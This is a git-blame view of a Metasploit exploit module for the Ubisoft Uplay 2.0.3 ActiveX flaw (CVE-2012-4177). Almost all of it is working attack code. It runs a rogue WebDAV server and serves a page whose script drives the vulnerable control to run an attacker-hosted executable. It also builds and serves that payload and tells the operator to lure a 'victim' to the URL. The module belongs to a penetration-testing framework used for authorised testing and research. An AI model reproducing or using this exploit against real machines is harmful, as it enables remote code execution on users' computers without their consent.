Files
metasploit-gs/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

429 lines
13 KiB
Ruby
Raw Normal View History

2012-07-30 16:43:21 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-30 16:43:21 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-07-30 16:43:21 +01:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
include Msf::Exploit::Remote::HttpServer::HTML
2012-07-31 20:26:47 +01:00
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
def initialize(info = {})
super(update_info(info,
2013-11-15 00:03:42 -06:00
'Name' => 'Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution',
2012-07-30 16:43:21 +01:00
'Description' => %q{
2012-08-06 11:54:08 -05:00
The uplay ActiveX component allows an attacker to execute any command line action.
User must sign in, unless auto-sign in is enabled and uplay must not already be
running. Due to the way the malicious executable is served (WebDAV), the module
must be run on port 80, so please make sure you have enough privilege to do that.
Ubisoft released patch 2.04 as of Mon 20th July.
2012-07-30 16:43:21 +01:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
'Ben Campbell',
2012-07-30 16:43:21 +01:00
'phillips321 <phillips321[at]phillips321.co.uk>',
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
],
'References' =>
[
2012-12-10 11:42:21 -06:00
[ 'CVE', '2012-4177' ],
[ 'OSVDB', '84402'],
2018-09-15 18:54:45 -05:00
[ 'URL', 'https://seclists.org/fulldisclosure/2012/Jul/375'],
2012-12-10 11:42:21 -06:00
[ 'URL', 'http://forums.ubi.com/showthread.php/699940-Uplay-PC-Patch-2-0-4-Security-fix' ]
2012-07-30 16:43:21 +01:00
],
'Platform' => 'win',
'Targets' =>
[
2012-08-06 11:54:08 -05:00
[ 'Automatic', { } ]
2012-07-30 16:43:21 +01:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-07-29'))
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
register_options(
[
OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
])
2013-08-30 16:28:54 -05:00
2012-08-06 11:54:08 -05:00
# WebDAV does not support SSL and must run over port 80.
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
2012-07-30 16:43:21 +01:00
end
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
def autofilter
false
end
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
def check_dependencies
use_zlib
end
2013-08-30 16:28:54 -05:00
2012-08-06 11:54:08 -05:00
def is_exploitable?(req)
# Only engage Win XP SP3 targets
req.headers['User-Agent'] =~ /NT 5\.1/
end
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
def on_request_uri(cli, request)
2012-07-31 20:26:47 +01:00
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
if request.uri_parts['Resource'].include? @uplay_uri
2012-08-06 11:54:08 -05:00
if is_exploitable?(request)
prompt_uplay(cli, request)
else
print_error("Not the target we want, will not engage.")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
2012-07-31 20:26:47 +01:00
else
process_get(cli, request)
end
else
vprint_status("#{request.method} => 404 (#{request.uri})")
2012-07-31 20:26:47 +01:00
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def prompt_uplay(cli, request)
2012-07-30 16:43:21 +01:00
url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
2013-08-30 16:28:54 -05:00
path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if path.length > 693
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown,"Remote path is too long must be < 694 characters")
2012-07-30 16:43:21 +01:00
return
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
cmd = Rex::Text.encode_base64(path)
2013-08-30 16:28:54 -05:00
2012-07-30 16:43:21 +01:00
classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
type = "application/x-uplaypc" # Unused but alternative to classid
content = %Q|<html>
<body>
<script>
x = document.createElement('OBJECT');
x.classid='#{classid}';
document.body.appendChild(x);
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
</script>
</body>
</html>|
2012-07-30 16:43:21 +01:00
print_status("GET => Exploit")
2012-07-30 16:43:21 +01:00
send_response_html(cli, content)
handler(cli)
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if blacklisted_path?(request.uri)
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
2012-07-31 20:26:47 +01:00
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
2013-08-30 16:28:54 -05:00
if (request.uri.include? @basename)
2012-07-31 20:26:47 +01:00
print_status("GET => Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
# Treat index.html specially
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
vprint_status("GET => REDIRECT (#{request.uri})")
2012-07-31 20:26:47 +01:00
resp = create_response(200, "OK")
2013-08-30 16:28:54 -05:00
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
# Anything else is probably a request for a data file...
vprint_status("GET => DATA (#{request.uri})")
2012-07-31 20:26:47 +01:00
data = "HELLO!"
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
2013-08-30 16:28:54 -05:00
2012-08-06 11:54:08 -05:00
#
2012-07-31 20:26:47 +01:00
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
2012-07-31 20:26:47 +01:00
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
body = ''
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if path !~ /\/$/
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
2012-07-31 20:26:47 +01:00
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
2012-07-31 20:26:47 +01:00
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
2012-07-31 20:26:47 +01:00
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
2012-07-31 20:26:47 +01:00
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
body << "</D:multistatus>"
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
body.gsub!(/\t/, '')
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def generate_shares(path)
share_name = @share_name
2012-07-31 20:26:47 +01:00
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
base = @basename
exts = @extensions.gsub(",", " ").split(/\s+/)
2012-07-31 20:26:47 +01:00
files = ""
exts.each do |ext|
files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
2012-08-04 18:03:12 +01:00
<D:ishidden b:dt="boolean">1</D:ishidden>
2012-07-31 20:26:47 +01:00
</D:propstat>
</D:response>
|
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
files
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
2012-07-31 20:26:47 +01:00
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
def exploit
2012-08-06 11:54:08 -05:00
@basename = rand_text_alpha(8)
@share_name = rand_text_alpha(8)
@extensions = "exe"
2013-08-30 16:28:54 -05:00
if datastore['EXPLOITPATH']
@uplay_uri = datastore['EXPLOITPATH']
else
@uplay_uri = rand_text_alpha(8)
end
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
@exploit_unc = "\\\\#{myhost}\\"
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
2012-07-31 20:26:47 +01:00
end
2013-08-30 16:28:54 -05:00
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
2012-08-06 11:54:08 -05:00
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
2013-08-30 16:28:54 -05:00
2012-07-31 20:26:47 +01:00
super
end
2012-07-30 16:43:21 +01:00
end